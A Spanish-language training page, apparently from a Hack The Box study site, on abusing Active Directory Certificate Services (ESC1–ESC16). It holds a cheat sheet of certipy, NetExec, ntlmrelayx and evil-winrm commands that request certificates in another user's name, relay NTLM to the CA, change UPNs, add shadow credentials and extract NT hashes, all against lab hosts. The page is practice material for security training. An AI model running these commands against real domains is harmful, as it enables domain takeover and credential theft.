Robar o forjar certificados de autenticación
Abusar de Active Directory Certificate Services (ESC1-ESC16) para obtener un certificado a nombre de otro usuario.
Cómo aparece en Hack The Box
Siempre que haya una CA en el dominio, certipy find -vulnerable. Un certificado de administrador se convierte en su hash NT con certipy auth (PKINIT).
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16) 4 min de lectura Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Active Directory
Plantillas de certificados vulnerables (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Active Directory a fondo › ADCS (ESC1–16)
Barrido con Certipy (dice el ESC)
Atacante
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Enumerar la CA con NetExec
Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
Pedir el certificado con otro SAN
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Autenticarse con el cert y sacar el hash NT
Atacante
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: pedir un cert de agente y, con él, uno a nombre de otro
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Hacerla vulnerable y restaurarla
Atacante
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: darte el permiso Manage Certificates y aprobar tu propia solicitud
Atacante
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relayear a la CA y obtener un cert del equipo
Atacante
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Cambiar el UPN de un usuario que controlas y pedir el cert como él
Atacante
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: aplicación-política con EKU de autenticación de cliente
Atacante
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
Active Directory a fondo › NTLM relay
Relay a la CA (ESC8) para un cert del equipo
Atacante
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Active Directory a fondo › Delegación
Añadir una clave y sacar el hash NT con certipy
Atacante
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima
Certipy › Cuando PKINIT no funciona
Shell LDAP autenticada con el certificado
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell
Si el DC no admite PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), entra por LDAPS con Schannel y desde ahí cambia una contraseña o configura RBCD.
Evil-WinRM › Formas de autenticarse
Con un certificado (por ejemplo, de ADCS)
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
Ningún comando coincide.